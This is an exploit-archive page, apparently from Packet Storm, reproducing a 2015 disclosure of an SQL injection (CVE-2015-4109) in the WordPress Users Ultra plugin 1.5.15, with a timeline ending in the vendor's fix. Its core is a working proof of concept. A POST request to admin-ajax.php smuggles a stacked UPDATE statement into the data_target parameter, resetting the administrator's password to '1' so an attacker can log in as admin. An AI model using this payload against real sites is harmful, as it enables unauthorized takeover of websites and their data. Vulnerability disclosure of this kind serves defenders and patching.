exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

WordPress Users Ultra 1.5.15 SQL Injection

WordPress Users Ultra 1.5.15 SQL Injection
Posted Jun 6, 2015
Authored by Panagiotis Vagenas

WordPress Users Ultra plugin version 1.5.15 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2015-4109
SHA-256 | 65f60a20602286c48205fc7b957f970ddd64792e124e70262e98a56b97eb4024

WordPress Users Ultra 1.5.15 SQL Injection

Change Mirror Download
# Exploit Title: CVE-2015-4109 - WordPress Users Ultra Plugin [SQL injection]
# Date: 2015/05/30
# Exploit Author: Panagiotis Vagenas
# Contact: https://twitter.com/panVagenas
# Vendor Homepage: http://usersultra.com
# Software Link: https://wordpress.org/plugins/users-ultra/
# Version: 1.5.15
# Tested on: WordPress 4.2.2
# Category: webapps
# CVE: CVE-2015-4109

One can perform an SQL injection attack simply by exploiting wp_ajax_nopriv_rating_vote action.
POST parameters data_target and data_vote can be used to execute arbitrary SQL commands in the database.

In the following PoC we change the administrators password to '1' so a malicious user can then login as the administrator, taking full control of the website.

* Send a post request to `http://my.vulnerable.website.com/wp-admin/admin-ajax.php` with data: action=rating_vote&data_id=1
&data_target=user_id IN (1); UPDATE wp_users set user_pass=MD5(1) where ID &data_vote=1
* Login with administrator's user name and password '1'

Note that we assume that table name prefix is 'wp' and administrators user id is 1, a very common scenario.

* Timeline
2015-05-29 Discovered
2015-05-30 Vendor notified via contact form
2015-06-01 Vendor notified via email
2015-06-02 Vendor notified via support forums at wordpress.org
2015-06-02 Vendor responded
2015-06-04 Fix released in version 1.5.16
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close